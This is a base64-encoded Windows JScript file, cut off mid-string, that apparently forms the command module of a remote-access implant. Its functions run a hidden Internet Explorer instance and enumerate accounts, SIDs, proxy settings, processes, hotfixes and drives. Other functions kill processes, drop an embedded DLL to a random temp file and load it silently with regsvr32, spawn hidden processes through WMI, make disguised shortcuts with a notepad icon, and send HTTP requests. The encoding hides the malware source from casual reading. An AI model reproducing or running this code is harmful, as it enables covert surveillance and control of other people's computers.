QoJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuZHN0VXJsKTsNCgl9LA0KCQ0KCWNyZWF0ZUlFOmZ1bmN0aW9uKHVybCl7DQoJCXZhciBpZSA9IG51bGw7DQoJCWZvcig7Oyl7DQoJCQl0cnl7DQoJCQkJaWUgPSBuZXcgQWN0aXZlWE9iamVjdCgnSW50ZXJuZXRFeHBsb3Jlci5BcHBsaWNhdGlvbicpOw0KCQkJCWllLlZpc2libGUgPSB0aGlzLmJEZWJ1ZzsNCgkJCQlpZS5TaWxlbnQgPSB0cnVlOw0KCQkJCQ0KCQkJCXJlYWxVcmwgPSB1cmw/dXJsOnRoaXMuaW5pdFVybA0KCQkJCXRoaXMubmF2aWdhdGVJRShpZSwgcmVhbFVybCk7CQkJCQ0KCQkJCWJyZWFrOw0KCQkJfWNhdGNoKGVycil7V1NjcmlwdC5TbGVlcCgxMDAwKTt9DQoJCX0NCgkJcmV0dXJuIGllOw0KCX0sDQoJDQoJZnJlc2hJRTpmdW5jdGlvbihpZSl7DQoJCXZhciBSRUZSRVNIX0NPTVBMRVRFTFkgPSAzOw0KCQlpZS5SZWZyZXNoMihSRUZSRVNIX0NPTVBMRVRFTFkpOw0KCQl0aGlzLndhaXRJRShpZSk7DQoJfSwNCgkNCgluYXZpZ2F0ZUlFOmZ1bmN0aW9uKGllLCB1cmwpew0KCQl2YXIgaTsNCgkJZm9yKGk9MDtpPDM7KytpKXsNCgkJCXRyeXsNCgkJCQluYXZOb0hpc3RvcnkgPSAweDI7DQoJCQkJaWUuTmF2aWdhdGUodXJsLCBuYXZOb0hpc3RvcnksICJfc2VsZiIpOw0KCQkJCXRoaXMud2FpdElFKGllKTsNCgkJCQlicmVhazsNCgkJCX1jYXRjaChlcnIpe1dTY3JpcHQuU2xlZXAoNTAwKTt9DQoJCX0NCgkJcmV0dXJuIGkhPTM7DQoJfSwNCgkNCgl3YWl0SUU6ZnVuY3Rpb24oaWUpew0KCQl0cnl7DQoJCQlXU2NyaXB0LlNsZWVwKDEwMCk7DQoJCQl3aGlsZShpZS5SZWFkeVN0YXRlIT00IHx8IGllLkJ1c3kgfHwgIWllLkRvY3VtZW50KXtXU2NyaXB0LlNsZWVwKDEwKTt9DQoJCX1jYXRjaChlcnIpe30NCgl9LA0KCQ0KCS8qKioqKioqKioqKioqKioqKioqKiBGdW5jICoqKioqKioqKioqKioqKioqKioqLw0KCXFTZXNzaW9uOmZ1bmN0aW9uKCl7DQoJCXJlcyA9ICcnOw0KCQllID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdTZWxlY3QgKiBGcm9tIFdpbjMyX1Nlc3Npb24nKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyFlLmF0RW5kKCk7ZS5tb3ZlTmV4dCgpKXsNCgkJCXMgPSBlLml0ZW0oKTsNCgkJCXJlcyArPSBzLk5hbWUrJyAnK3MuQ2FwdGlvbisnICcrcy5EZXNjcmlwdGlvbisnICcrcy5Mb2dvblR5cGUudG9TdHJpbmcoKSsnXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglnZXRBbGxVc2VyU2lkOmZ1bmN0aW9uKCl7DQoJCXJlcyA9ICcnOw0KCQlxdWVyeVN0ciA9ICdTZWxlY3QgKiBGcm9tIFdpbjMyX0FjY291bnQgd2hlcmUgU0lEVHlwZT0xIGFuZCBMb2NhbEFjY291bnQ9VFJVRSc7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkocXVlcnlTdHIpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7IWUuYXRFbmQoKTtlLm1vdmVOZXh0KCkpew0KCQkJYWNjID0gZS5pdGVtKCk7DQoJCQlyZXMgKz0gYWNjLkRvbWFpbisnXFwnK2FjYy5OYW1lKyd8JythY2MuU0lEKyd8JythY2MuRGVzY3JpcHRpb24rJ1xuJzsNCgkJfQ0KCQlyZXR1cm4gcmVzOw0KCX0sDQoJcHJveHk6ZnVuY3Rpb24oKXsNCgkJbGluZXMgPSB0aGlzLmdldEFsbFVzZXJTaWQoKS5zcGxpdCgnXG4nKTsNCgkJcmVzID0gJyc7DQoJCWZvcih2YXIgaSBpbiBsaW5lcyl7DQoJCQlpZighbGluZXNbaV0ubGVuZ3RoKWNvbnRpbnVlOw0KCQkJaW5mbyA9IGxpbmVzW2ldLnNwbGl0KCd8Jyk7DQoJCQljb21tZW50ID0gaW5mb1swXSsnICcraW5mb1syXTsNCgkJCXJlcyArPSAnWycraSsnXSAnICsgY29tbWVudCArICdcbic7DQoJCQlzaWQgPSBpbmZvWzFdDQoJCQl0cnl7DQoJCQkJcmVzICs9ICdQcm94eUVuYWJsZT0nK3RoaXMub1NoZWxsLlJlZ1JlYWQoJ0hLRVlfVVNFUlNcXCcrc2lkKydcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxJbnRlcm5ldCBTZXR0aW5nc1xcUHJveHlFbmFibGUnKTsNCgkJCQlyZXMgKz0gJ1xuJzsNCgkJCQlyZXMgKz0gJ1Byb3h5U2VydmVyPScrdGhpcy5vU2hlbGwuUmVnUmVhZCgnSEtFWV9VU0VSU1xcJytzaWQrJ1xcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxQcm94eVNlcnZlcicpOw0KCQkJCXJlcyArPSAnXG4nOw0KCQkJfWNhdGNoKGUpe30NCgkJCXJlcyArPSAnXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglwTGlzdDpmdW5jdGlvbigpew0KCQlyZXMgPSAnJzsNCgkJcHJvY0xpc3QgPSBbXTsNCgkJYmFuZGVyTGlzdCA9IFsnTmFtZScsJ1Byb2Nlc3NJZCcsJ1Nlc3Npb25JZCcsJ2NvbW1hbmRsaW5lJ107DQoJCXNwbGl0Q2hhciA9ICcgJzsNCgkJbWF4TGVuTGlzdCA9IFtdOw0KCQl2YXIgZSA9IG5ldyBFbnVtZXJhdG9yKHRoaXMub0NpbXYyLkV4ZWNRdWVyeSgnc2VsZWN0ICogZnJvbSBXaW4zMl9Qcm9jZXNzJykpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCXByb2MgPSBlLml0ZW0oKTsNCgkJCXByb2NMaXN0LnB1c2gocHJvYyk7DQoJCX0NCgkJZm9yKGkgaW4gYmFuZGVyTGlzdCl7DQoJCQliYW5kZXIgPSBiYW5kZXJMaXN0W2ldOw0KCQkJbWF4TGVuID0gYmFuZGVyLmxlbmd0aCArIDI7DQoJCQlmb3IoaiBpbiBwcm9jTGlzdCl7DQoJCQkJcHJvYyA9IHByb2NMaXN0W2pdOw0KCQkJCXByb3BlcnR5ID0gcHJvYy5Qcm9wZXJ0aWVzXy5pdGVtKGJhbmRlcikgKyAnICc7DQoJCQkJbGVuID0gcHJvcGVydHkubGVuZ3RoOw0KCQkJCWlmKGxlbj5tYXhMZW4pbWF4TGVuPWxlbjsNCgkJCX0NCgkJCW1heExlbkxpc3RbaV0gPSBtYXhMZW47DQoJCX0NCgkJDQoJCWZvcihpIGluIGJhbmRlckxpc3Qpew0KCQkJZWxlID0gYmFuZGVyTGlzdFtpXTsNCgkJCXJlcyArPSBlbGU7DQoJCQlpZihpPGJhbmRlckxpc3QubGVuZ3RoLTEpZm9yKGo9ZWxlLmxlbmd0aDtqPG1heExlbkxpc3RbaV07KytqKXJlcys9c3BsaXRDaGFyOw0KCQl9DQoJCXJlcys9J1xuJzsNCgkJZm9yKGkgaW4gcHJvY0xpc3Qpew0KCQkJcHJvYyA9IHByb2NMaXN0W2ldOw0KCQkJZm9yKGogaW4gYmFuZGVyTGlzdCl7DQoJCQkJZWxlID0gcHJvYy5Qcm9wZXJ0aWVzXy5pdGVtKGJhbmRlckxpc3Rbal0pICsgJyAnOw0KCQkJCXJlcyArPSBlbGU7DQoJCQkJaWYoajxiYW5kZXJMaXN0Lmxlbmd0aC0xKWZvcihrPWVsZS5sZW5ndGg7azxtYXhMZW5MaXN0W2pdOysraylyZXMrPXNwbGl0Q2hhcjsNCgkJCX0NCgkJCXJlcys9J1xuJzsNCgkJfQ0KCQlyZXR1cm4gcmVzOw0KCX0sDQoJDQoJaW5BcnJheTpmdW5jdGlvbihhcnIsIGl0ZW0pew0KCQlmb3IoaT0wO2k8YXJyLmxlbmd0aDsrK2kpew0KCQkJaWYoYXJyW2ldLnRvTG93ZXJDYXNlKCk9PWl0ZW0udG9Mb3dlckNhc2UoKSlicmVhazsNCgkJfQ0KCQlyZXR1cm4gaTxhcnIubGVuZ3RoOw0KCX0sDQoJcEluZm86ZnVuY3Rpb24ocGlkLCBxdWVyeSl7DQoJCWlmKHF1ZXJ5IT1udWxsKXsNCgkJCXF1ZXJ5ID0gcXVlcnkucmVwbGFjZSgvXHMvZywgJycpOw0KCQkJcXVlcnlBcnJheSA9IHF1ZXJ5LnNwbGl0KCcsJyk7DQoJCX0NCgkJcmVzID0gJ1BJRD0nICsgcGlkLnRvU3RyaW5nKCkrJ1xuJzsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9JyArIHBpZC50b1N0cmluZygpKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0KCkpew0KCQkJcHJvYyA9IGUuaXRlbSgpOw0KCQkJbWV0aG9kID0gcHJvYy5NZXRob2RzXy5JdGVtKCdHZXRPd25lcicpOw0KCQkJb3V0UGFyYW1zID0gcHJvYy5FeGVjTWV0aG9kXyhtZXRob2QuTmFtZSwgbnVsbCk7DQoJCQlyZXMgKz0gJ093bmVyID0gJyArIG91dFBhcmFtcy5Vc2VyKydcXCcrb3V0UGFyYW1zLkRvbWFpbiArICdcbic7DQoJCQl2YXIgcGUgPSBuZXcgRW51bWVyYXRvcihwcm9jLlByb3BlcnRpZXNfKTsNCgkJCWZvcihwZS5tb3ZlRmlyc3QoKTsgIXBlLmF0RW5kKCk7IHBlLm1vdmVOZXh0KCkpew0KCQkJCXByb3BlcnR5ID0gcGUuaXRlbSgpOw0KCQkJCWlmKHF1ZXJ5IT1udWxsICYmICF0aGlzLmluQXJyYXkocXVlcnlBcnJheSxwcm9wZXJ0eS5OYW1lKSl7DQoJCQkJCWNvbnRpbnVlOw0KCQkJCX0NCgkJCQlpZihwcm9wZXJ0eS5WYWx1ZSE9bnVsbCl7DQoJCQkJCXJlcyArPSBwcm9wZXJ0eS5OYW1lICsgJyA9ICcgKyBwcm9wZXJ0eS5WYWx1ZS50b1N0cmluZygpICsgJ1xuJzsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCQ0KCV9wVHJlZTpmdW5jdGlvbihwaWQsIGxldmVsKXsNCgkJcmVzID0gJyc7DQoJCXZhciBlID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdzZWxlY3QgKiBmcm9tIFdpbjMyX1Byb2Nlc3Mgd2hlcmUgUHJvY2Vzc0lkPScrcGlkLnRvU3RyaW5nKCkpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQlwcm9jID0gZS5pdGVtKCk7DQoJCQlmb3IoaT0wO2k8bGV2ZWw7KytpKXtyZXMgKz0gJ1x0J30NCgkJCXJlcyArPSBwcm9jLk5hbWUgKyAnICcgKyBwcm9jLlByb2Nlc3NJZCArICdcbic7DQoJCX0NCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQYXJlbnRQcm9jZXNzSWQ9JytwaWQudG9TdHJpbmcoKSkpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCXByb2MgPSBlLml0ZW0oKTsNCgkJCXJlcyArPSB0aGlzLl9wVHJlZShwcm9jLlByb2Nlc3NJZCwgbGV2ZWwrMSk7DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCXBUcmVlOmZ1bmN0aW9uKHBpZCl7DQoJCXJldHVybiB0aGlzLl9wVHJlZShwaWQsIDApOw0KCX0sDQoJDQoJcEtpbGw6ZnVuY3Rpb24ocGlkKXsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9JytwaWQudG9TdHJpbmcoKSkpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCWUuaXRlbSgpLlRlcm1pbmF0ZSgpOw0KCQl9DQoJCXJldHVybiBwaWQrJyB0ZXJtaW5hdGVkJzsNCgl9LA0KCXBLaWxsVHJlZTpmdW5jdGlvbihwaWQpew0KCQl0aGlzLnBLaWxsKHBpZCk7DQoJCXZhciBlID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdzZWxlY3QgKiBmcm9tIFdpbjMyX1Byb2Nlc3Mgd2hlcmUgUGFyZW50UHJvY2Vzc0lkPScrcGlkLnRvU3RyaW5nKCkpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQl0aGlzLnBLaWxsVHJlZShlLml0ZW0oKS5Qcm9jZXNzSWQpOw0KCQl9DQoJfSwNCgkNCglyYW5kU3RyOmZ1bmN0aW9uKGxlbil7DQoJCXJlcyA9ICcnOw0KCQl0YWJsZSA9ICdBQkNERUZHSEpLTU5QUVJTVFdYWVphYmNkZWZoaWprbW5wcnN0d3h5ejIzNDU2NzgnOw0KCQlmb3IoaT0wOyBpPGxlbjsgaSsrKXsNCgkJCXJlcyArPSB0YWJsZS5jaGFyQXQoTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogdGFibGUubGVuZ3RoKSk7DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCW1vY2tSdW46ZnVuY3Rpb24ocmVhbCwgYXJncywgdGltZW91dCwgbW9jayl7DQoJCXJlYWxUaW1lT3V0ID0gNTsNCgkJaWYodGltZW91dCE9bnVsbClyZWFsVGltZU91dD10aW1lb3V0Ow0KCQlpZihtb2NrPT1udWxsKW1vY2s9J3JlZ3N2cjMyJzsNCgkJDQoJCW1vY2tEbGxOYW1lID0gJ34uJyArIHRoaXMucmFuZFN0cigxNik7DQoJCW1vY2tEbGxQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLmRsbCc7DQoJCW1vY2tJbmlQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLmluaSc7DQoJCW1vY2tPdXRQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLm91dCc7DQoJCWlmKHRoaXMub3NCaXQ9PSczMicpew0KCQkJdGhpcy5iYXNlNjRUb0ZpbGUobW9ja0RsbFBhdGgsIHRoaXMuQmFzZTY0X01vY2tEbGwzMik7DQoJCX1lbHNlIGlmKHRoaXMub3NCaXQ9PSc2NCcpew0KCQkJdGhpcy5iYXNlNjRUb0ZpbGUobW9ja0RsbFBhdGgsIHRoaXMuQmFzZTY0X01vY2tEbGw2NCk7DQoJCX1lbHNle3JldHVybiAndW5rbm93biBvc0JpdCc7fQ0KCQlpbmlGaWxlID0gdGhpcy5vRlMuQ3JlYXRlVGV4dEZpbGUobW9ja0luaVBhdGgsIHRydWUpOw0KCQlpbmlGaWxlLldyaXRlTGluZSgnW2NmZ10nKTsNCgkJaW5pRmlsZS5Xcml0ZUxpbmUoJ21vY2s9IicrIG1vY2sgKyciJyk7DQoJCWluaUZpbGUuV3JpdGVMaW5lKCdyZWFsPSInKyByZWFsICsnIicpOw0KCQlpbmlGaWxlLldyaXRlTGluZSgnYXJncz0nICsgYXJncyk7DQoJCWluaUZpbGUuV3JpdGVMaW5lKCdvdXRmPSInICsgbW9ja091dFBhdGggKyciJyk7DQoJCWlmKHJlYWxUaW1lT3V0PjApaW5pRmlsZS5Xcml0ZUxpbmUoJ3RpbWU9JyArIHJlYWxUaW1lT3V0KTsNCgkJaW5pRmlsZS5DbG9zZSgpOw0KCQl0aGlzLm9TaGVsbC5SdW4oJ3JlZ3N2cjMyIC9zICInK21vY2tEbGxQYXRoKyciJywgMCwgcmVhbFRpbWVPdXQ+MCk7DQoJCWlmKHJlYWxUaW1lT3V0PDEpV1NjcmlwdC5TbGVlcCgxMDAwKTsNCgkJcmVzPSdyZWFkIG91dEZpbGUgJyttb2NrT3V0UGF0aCsnIGZhaWxlZCc7DQoJCXRyeXsNCgkJCUZvclJlYWRpbmcgPSAxOw0KCQkJb3V0RmlsZSA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShtb2NrT3V0UGF0aCwgRm9yUmVhZGluZyk7DQoJCQlyZXMgPSBvdXRGaWxlLlJlYWRBbGwoKTsNCgkJCW91dEZpbGUuQ2xvc2UoKTsNCgkJCXRyeXt0aGlzLm9GUy5EZWxldGVGaWxlKG1vY2tEbGxQYXRoKTt9Y2F0Y2goZXJyKXt9DQoJCQl0cnl7dGhpcy5vRlMuRGVsZXRlRmlsZShtb2NrSW5pUGF0aCk7fWNhdGNoKGVycil7fQ0KCQkJaWYocmVhbFRpbWVPdXQ+MCl0cnl7dGhpcy5vRlMuRGVsZXRlRmlsZShtb2NrT3V0UGF0aCk7fWNhdGNoKGVycil7fQ0KCQl9Y2F0Y2goZXJyKXt9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglydW46ZnVuY3Rpb24oY21kbGluZSwgc2hvdyl7DQoJCXJlYWxTaG93ID0gMDsNCgkJaWYoc2hvdylyZWFsU2hvdyA9IHNob3c7DQoJCXJldHVybiB0aGlzLm9TaGVsbC5SdW4oY21kbGluZSwgcmVhbFNob3csIGZhbHNlKTsNCgl9LA0KCQ0KCWV4ZWM6ZnVuY3Rpb24oY21kbGluZSwgdGltZW91dCl7DQoJCXJlcyA9ICcnOw0KCQlyZWFsU2VjID0gMzsNCgkJaWYodGltZW91dCE9bnVsbCl7cmVhbFNlYz10aW1lb3V0O30NCgkJd2FpdFRpbWUgPSByZWFsU2VjKjEwOw0KCQlXc2hSdW5uaW5nID0gMDsNCgkJV3NoRmluaXNoZWQgPSAxOw0KCQl0cnl7DQoJCQlvRXhlYyA9IHRoaXMub1NoZWxsLkV4ZWMoY21kbGluZSk7DQoJCQlpZih3YWl0VGltZTw9MCl7DQoJCQkJcmV0dXJuICdQcm9jZXNzSUQ9JytvRXhlYy5Qcm9jZXNzSUQrJyx0aW1lb3V0PD0wJzsNCgkJCX0NCgkJCWRvew0KCQkJCWlmKG9FeGVjLnN0YXR1cz09V3NoRmluaXNoZWQpYnJlYWs7DQoJCQkJV1NjcmlwdC5TbGVlcCgxMDApOw0KCQkJfXdoaWxlKHdhaXRUaW1lLS0pOw0KCQkJaWYob0V4ZWMuc3RhdHVzPT1Xc2hSdW5uaW5nKXsNCgkJCQlvRXhlYy5UZXJtaW5hdGUoKTsNCgkJCX0NCgkJCXJlcyArPSAnUHJvY2Vzc0lEPScrb0V4ZWMuUHJvY2Vzc0lEKycsdGltZW91dD0nK3RpbWVvdXQrJyxFeGl0Q29kZT0nK29FeGVjLkV4aXRDb2RlKydcclxuJzsNCgkJCWlmKCFvRXhlYy5TdGRPdXQuQXRFbmRPZlN0cmVhbSlyZXMrPW9FeGVjLlN0ZE91dC5yZWFkQWxsKCk7DQoJCQlpZighb0V4ZWMuU3RkRXJyLkF0RW5kT2ZTdHJlYW0pcmVzKz1vRXhlYy5TdGRFcnIucmVhZEFsbCgpOw0KCQl9Y2F0Y2goZXJyKXtyZXMrPXRoaXMuZXJyT2JqVG9TdHIoZXJyKTt9DQoJCXJldHVybiAgcmVzOw0KCX0sDQoJDQoJbWtzYzpmdW5jdGlvbihwYXRoLCB0YXJnZXQsIGFyZ3Mpew0KCQl2YXIgbGluayA9IHRoaXMub1NoZWxsLkNyZWF0ZVNob3J0Y3V0KHBhdGgpOw0KCQlNaW5pbWl6ZWQgPSA3Ow0KCQlsaW5rLlRhcmdldFBhdGggPSB0YXJnZXQ7DQoJCWxpbmsuQXJndW1lbnRzID0gYXJnczsNCgkJbGluay5XaW5kb3dTdHlsZSA9IE1pbmltaXplZDsNCgkJbGluay5JY29uTG9jYXRpb24gPSAnbm90ZXBhZC5leGUsIDAnOw0KCQlsaW5rLlNhdmUoKTsNCgkJcmV0dXJuICdkb25lJzsNCgl9LA0KCQ0KCWtiOmZ1bmN0aW9uKCl7DQoJCXZhciByZXMgPSAnJzsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNFTEVDVCAqIEZST00gV2luMzJfUXVpY2tGaXhFbmdpbmVlcmluZyIpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQl2YXIgb2JqUXVpY2tGaXggPSBlLml0ZW0oKTsNCgkJCXJlcyArPSBvYmpRdWlja0ZpeC5Ib3RGaXhJRCArICdcbic7DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCQ0KCWRyaXZlOmZ1bmN0aW9uKCl7DQoJCXZhciBzID0gIi0tLUxvY2FsIGRyaXZlXHJcbiI7DQoJCXZhciBieXRlc1BlckdCID0gMTAyNCAqIDEwMjQgKiAxMDI0Ow0KCQl2YXIgZSA9IG5ldyBFbnVtZXJhdG9yKHRoaXMub0ZTLkRyaXZlcyk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0KCkpew0KCQkJdmFyIGRydiA9IGUuaXRlbSgpOw0KCQkJcyArPSBkcnYuUGF0aCArICIgLSAiOw0KCQkJaWYoZHJ2LklzUmVhZHkpew0KCQkJCXZhciBmcmVlR0IgPSBkcnYuRnJlZVNwYWNlIC8gYnl0ZXNQZXJHQjsNCgkJCQl2YXIgdG90YWxHQiA9IGRydi5Ub3RhbFNpemUgLyBieXRlc1BlckdCOw0KDQoJCQkJcyArPSBmcmVlR0IudG9GaXhlZCgzKSArICIgR0IgLyAiOw0KCQkJCXMgKz0gdG90YWxHQi50b0ZpeGVkKDMpICsgIiBHQiI7DQoJCQl9ZWxzZXsNCgkJCQlzICs9ICJOb3QgUmVhZHkiOw0KCQkJfQ0KCQkJcyArPSAiXHJcbiI7DQoJCX0NCgkJcyArPSAiXHJcbiI7DQoJCQ0KCQlzICs9ICItLS1OZXR3b3JrIGRyaXZlIG1hcHBpbmdzXHJcbiI7DQoJCXZhciBvRHJpdmVzID0gdGhpcy5vTmV0LkVudW1OZXR3b3JrRHJpdmVzKCk7DQoJCWZvcihpID0gMDsgaSA8IG9Ecml2ZXMubGVuZ3RoOyBpICs9IDIpIHsNCiAgICAgICAgICAgIHMgKz0gIkRyaXZlICIgKyBvRHJpdmVzLkl0ZW0oaSkgKyAiIC0gIiArIG9Ecml2ZXMuSXRlbShpICsgMSkgKyAiXHJcbiI7DQoJCX0NCgkJDQoJCXMgKz0gIlxyXG4iOw0KCQlzICs9ICItLS1OZXR3b3JrIHByaW50ZXIgbWFwcGluZ3NcclxuIjsNCgkJdmFyIG9QcmludGVycyA9IHRoaXMub05ldC5FbnVtUHJpbnRlckNvbm5lY3Rpb25zKCk7DQoJCWZvcihpID0gMDsgaSA8IG9QcmludGVycy5sZW5ndGg7IGkgKz0gMikgew0KICAgICAgICAgICAgcyArPSAiUG9ydCAiICsgb1ByaW50ZXJzLkl0ZW0oaSkgKyAiIC0gIiArIG9QcmludGVycy5JdGVtKGkgKyAxKSArICJcclxuIjs7DQoJCX0NCgkJDQoJCXJldHVybihzKTsNCgl9LA0KCQ0KCXJlcTpmdW5jdGlvbih1cmwsIG1ldGhvZCwgZGF0YSwgY29va2llLCBwcm94eSwgdXNlcm5hbWUsIHBhc3N3b3JkKXsNCgkJb0h0dHAgPSBuZXcgQWN0aXZlWE9iamVjdCgnTVNYTUwyLlNlcnZlclhNTEhUVFAuNi4wJyk7DQoJCWlmKHByb3h5ICYmIHByb3h5Lmxlbmd0aD4wKXsNCgkJCVNYSF9QUk9YWV9TRVRfUFJPWFkgPSAyOw0KCQkJb0h0dHAuc2V0UHJveHkoU1hIX1BST1hZX1NFVF9QUk9YWSwgcHJveHksICc8bG9jYWw+Jyk7DQoJCX1lbHNlew0KCQkJU1hIX1BST1hZX1NFVF9QUkVDT05GSUcgPSAwOw0KCQkJb0h0dHAuc2V0UHJveHkoU1hIX1BST1hZX1NFVF9QUkVDT05GSUcpOw0KCQl9DQoJCWlmKG1ldGhvZCAmJiBtZXRob2QubGVuZ3RoPjApew0KCQkJb0h0dHAub3BlbihtZXRob2QsIHVybCwgZmFsc2UpOw0KCQl9ZWxzZXsNCgkJCW9IdHRwLm9wZW4oJ0dFVCcsIHVybCwgZmFsc2UpOw0KCQl9DQoJCW9IdHRwLnNldE9wdGlvbigyLCAxMzA1Nik7DQoJCWlmKHVzZXJuYW1lIT1udWxsICYmIHBhc3N3b3JkIT1udWxsKXsNCgkJCW9IdHRwLnNldFByb3h5Q3JlZGVudGlhbHModXNlcm5hbWUsIHBhc3N3b3JkKTsNCgkJfQ0KCQlpZihjb29raWUgJiYgY29va2llLmxlbmd0aD4wKXsNCgkJCW9IdHRwLnNldFJlcXVlc3RIZWFkZXIoJ0Nvb2tpZScsIGNvb2tpZSk7DQoJCX0NCgkJb0h0dHAuc2V0UmVxdWVzdEhlYWRlcignQ09OVEVOVC1UWVBFJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KCQlpZihkYXRhICYmIGRhdGEubGVuZ3RoPjApew0KCQkJb0h0dHAuc2VuZChkYXRhKTsNCgkJfWVsc2V7DQoJCQlvSHR0cC5zZW5kKCk7DQoJCX0NCgkJcmV0dXJuIG9IdHRwLmdldEFsbFJlc3BvbnNlSGVhZGVycygpICsgb0h0dHAucmVzcG9uc2VUZXh0Ow0KCX0sDQoJDQoJcENyZWF0ZTpmdW5jdGlvbihDb21tYW5kTGluZSl7DQoJCXZhciBzdGFydEluZm8gPSB0aGlzLm9DaW12Mi5HZXQoIldpbjMyX1Byb2Nlc3NTdGFydHVwIikuU3Bhd25JbnN0YW5jZV8oKTsNCgkJc3RhcnRJbmZvLlNob3dXaW5kb3cgPSAwOw0KDQoJCXZhciBwcm9jZXNzID0gdGhpcy5vQ2ltdjIuR2V0KCdXaW4zMl9Qcm9jZXNzJyk7DQoJCXZhciBtZXRob2QgPSBwcm9jZXNzLk1ldGhvZHNfLkl0ZW0oJ0NyZWF0ZScpOw0KCQl2YXIgaW5QYXJhbXMgPSBtZXRob2QuSW5QYXJhbWV0ZXJzLlNwYXduSW5zdGFuY2VfKCk7DQoJCWluUGFyYW1zLkNvbW1hbmRMaW5lID0gQ29tbWFuZExpbmU7DQoJCWluUGFyYW1zLkN1cnJlbnREaXJlY3RvcnkgPSBudWxsOw0KCQlpblBhcmFtcy5Qcm9jZXNzU3RhcnR1cEluZm9ybWF0aW9uID0gc3RhcnRJbmZvOw0KDQoJCXZhciBvdXRQYXJhbXMgPSBwcm9jZXNzLkV4ZWNNZXRob2RfKG1ldGhvZC5OYW1lLCBpblBhcmFtcyk7DQoJCWlmIChvdXRQYXJhbXMuUmV0dXJuVmFsdWUgPT0gMCkNCgkJCXJldHVybiBvdXRQYXJhbXMuUHJvY2Vzc0lkOw0KCQllbHNlDQoJCQlyZXR1cm4gMDsNCgl9LA0KCXBFeGlzdHM6ZnVuY3Rpb24ocHJvY2Vzc0lkKXsNCgkgIHZhciBjb2xQcm9jZXNzID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCJzZWxlY3QgUHJvY2Vzc0lkIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9IiArIHByb2Nlc3NJZC50b1N0cmluZygpKSk7DQoJICByZXR1cm4gIWNvbFByb2Nlc3MuYXRFbmQoKTsNCgl9LA0KCWV4ZWNXaXRoQ1NjcmlwdDpmdW5jdGlvbihjbWQsIHNlYyl7DQoJCXZhciBzY3JpcHRGaWxlUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcfi4nK3RoaXMucmFuZFN0cigxNik7DQoJCXZhciBvdXRGaWxlUGF0aCA9IHNjcmlwdEZpbGVQYXRoKycuZGF0JzsNCgkJdHJ5ew0KCQkJZiA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShzY3JpcHRGaWxlUGF0aCwgMiwgMSk7DQoJCQlmLldyaXRlKCJXPW5ldyBBY3RpdmVYT2JqZWN0KCdXU2NyaXB0LlNoZWxsJyk7Iik7DQoJCQlmLldyaXRlKCJGPShuZXcgQWN0aXZlWE9iamVjd